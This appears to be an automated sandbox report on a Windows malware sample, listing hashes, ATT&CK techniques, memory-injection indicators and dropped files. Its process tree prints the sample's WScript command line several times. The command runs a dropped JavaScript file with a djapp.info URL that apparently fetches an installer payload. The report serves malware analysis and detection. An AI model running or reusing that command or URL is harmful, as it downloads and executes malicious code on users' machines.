96c0a773199c4ef5662bd1dfecd5c376344e344c6a57a092e82a281f0a51a840

Analysis

max time kernel
119s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28-05-2024 21:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe
Size

184KB
MD5

7e70d6dfbe4026c35ea42e138a916d0d
SHA1

ec80b4883101f909bac59b3c284dc46ac756b23d
SHA256

96c0a773199c4ef5662bd1dfecd5c376344e344c6a57a092e82a281f0a51a840
SHA512

198ab895cf48eb990955125b43d6e9eb63bb20be1da09e572e2d6c994e448302db2624607e59e595d26bd0c87cbb150c10407b2cfb025430879d8e250fd478d9
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3DC:/7BSH8zUB+nGESaaRvoB7FJNndn6C

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1724	WScript.exe
8	1724	WScript.exe
10	1724	WScript.exe
12	2880	WScript.exe
13	2880	WScript.exe
16	1500	WScript.exe
17	1500	WScript.exe
19	2000	WScript.exe
20	2000	WScript.exe
22	2460	WScript.exe
23	2460	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 1724	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	28
PID 1932 wrote to memory of 1724	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	28
PID 1932 wrote to memory of 1724	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	28
PID 1932 wrote to memory of 1724	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	28
PID 1932 wrote to memory of 2880	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	30
PID 1932 wrote to memory of 2880	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	30
PID 1932 wrote to memory of 2880	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	30
PID 1932 wrote to memory of 2880	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	30
PID 1932 wrote to memory of 1500	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	32
PID 1932 wrote to memory of 1500	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	32
PID 1932 wrote to memory of 1500	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	32
PID 1932 wrote to memory of 1500	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	32
PID 1932 wrote to memory of 2000	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	36
PID 1932 wrote to memory of 2000	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	36
PID 1932 wrote to memory of 2000	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	36
PID 1932 wrote to memory of 2000	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	36
PID 1932 wrote to memory of 2460	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	38
PID 1932 wrote to memory of 2460	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	38
PID 1932 wrote to memory of 2460	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	38
PID 1932 wrote to memory of 2460	1932	7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7e70d6dfbe4026c35ea42e138a916d0d_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8A55.js" http://www.djapp.info/?domain=JUOFTfOROM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf8A55.exe
  2⤵
  - Blocklisted process makes network request
  PID:1724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8A55.js" http://www.djapp.info/?domain=JUOFTfOROM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf8A55.exe
  2⤵
  - Blocklisted process makes network request
  PID:2880
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8A55.js" http://www.djapp.info/?domain=JUOFTfOROM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf8A55.exe
  2⤵
  - Blocklisted process makes network request
  PID:1500
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8A55.js" http://www.djapp.info/?domain=JUOFTfOROM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf8A55.exe
  2⤵
  - Blocklisted process makes network request
  PID:2000
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8A55.js" http://www.djapp.info/?domain=JUOFTfOROM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf8A55.exe
  2⤵
  - Blocklisted process makes network request
  PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
91d1a9d489736610d91ba0c783745e5d

SHA1
d7effa412880636c17e6e5f86f1978835980694f

SHA256
51fdce859b53035fa4c5b5c1e0a2b76ad9090d23da467387f3c1fc5b9c10e897

SHA512
3bbca7affbc3e2e33db7e9d7ac3675006a9f2e34de258ed493f0d12d42bd3d0916cb47296da9e7efe3f8848253495b093f790c0c2ca72cf7f3a59daf1cf1ffdf

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
95400e85516797dd80b0edc8b83a145f

SHA1
25f4529834097f630cb58f8542f00376999130f1

SHA256
cd64acbd8cb2da78e47b42cf871f0a60ffc25ccc7f5760c647cdb39660489b68

SHA512
af4d4d93121b50f00faf8e59a46a766134b1b1c64d274fb6f01d406a440c86e1b99a8824b313d027c77aa1b87df515d312cc276d36a1cc0bd12e3fc98ca87f4f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
11792a29ab8133307a584f131547e71e

SHA1
b623456d79b2294dce0dfb46ed657a4d53556034

SHA256
626e0d54e770758377a5f57f1ea3ea55f42eb2528bd785b9717b1bf861bc7bb2

SHA512
53a6d1e4b08177b3840ac327ab7e966fbe9d715b835f89b876bad3fcea4492db26e61da7ea6948c8297bad43a7c70f5f4c8e2299943670bbbaf285b0a7cecb96

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
0a688cbec8b0091e5f10897d871611e1

SHA1
6e314c7e0ce1319691b43471d7e7a67964baeb39

SHA256
7888c09c2f9c960ccc1c1ab2b6a70b5f3103773f5d0b1088f3913e1e2e1f0beb

SHA512
d4a7438b4ce9ccfc4ceeb8d642dfe8d54b548dba54555e915388a430c13e0ae42f5e8cf69726cbe47a5ed9f53021f86dbbb890be1ea64d1e03ff446b402f8111

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
6KB

MD5
08a73ede65e6dd29073ea0dcda47ee9a

SHA1
f9d9f8d4e8fa312b3ea4cd2a41f15c6c8b82ae15

SHA256
6680d809a4388780b25693e92a8bc4ff9b8a97d2909f3c0fdc4e24c2637eff52

SHA512
1a09efbe4941af7217ba0944a1714cd3474e473c7a2ceab3bd262e8cbf0e02cdf0ab5bc0f6394154c227066f56b28ee297bc18f37050a258f087e1851e09ceb2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
40KB

MD5
768a1605f361fd864a2669023692ffb7

SHA1
d8c3a734c49db63569948f076c24f82d03c20270

SHA256
3e9bd361ab71ff88b9b17b0c4ce0be7b1b8408b9f5cf48d7e75b1ea383241ab3

SHA512
455fa70ac787ef4d55ab1b9b6f68b69a3eb4853a91df74524e5ca874855fd44bf6dda898749750e5a2df9363e5ac1f02344b2c2a767fc71949b34938f7e2be91

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
40KB

MD5
f63e59a6917d958a3667ddf29e63f666

SHA1
ee459a0a2b23134dd041ffbcb14195047adbd2de

SHA256
f480f4f21c8da4fded2317b4f70c7d00e81cf5c4686597adb03f8a1b6cf8088b

SHA512
da081e15fba927b4f72e14cc789005f82f4cf2b6ddb30fefdfcd5fbcdf3c652d3fb793e58f3c4ad04321f1fba16649f56d98ef0048661d2b537e5e344d199777

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
40KB

MD5
98f137b776a01dd8f36e861f70ee6baf

SHA1
1f73b09ee73fd1807720628c18513f62645374e6

SHA256
c9f14594301d34695ea3ea53508a6273ec7a063bf8cdf4f75981b7606d73bbb5

SHA512
824952c47039c6e6ba404bb28da8eda8386e6f8a4c09af08311372374aafcaa51b1f4772b6cf0b12fabc3cf82d1ac021ad51e8af3fd7d026bb0bada8ddfbb254

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabD1D0.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE995.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf8A55.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\QZ58H425.txt

Filesize
177B

MD5
78e5c53f4cb0f1bd9cd00c95bff9a9d8

SHA1
9517825fefbf1527246ca36c7c604b5a5e18ea5f

SHA256
9cd2555379a7e3f7dd4b4a797771465d65d2175b981a7bbcbb5806a514848418

SHA512
35bd0c8fcde877f5e4225199ef65c4fc917836a3ce6fa6f05afc935325bc8fc16d7f3b34326e5d926aa6906546d7713d31b3156b3332fbcf24f8352d9677ccda

Download Submit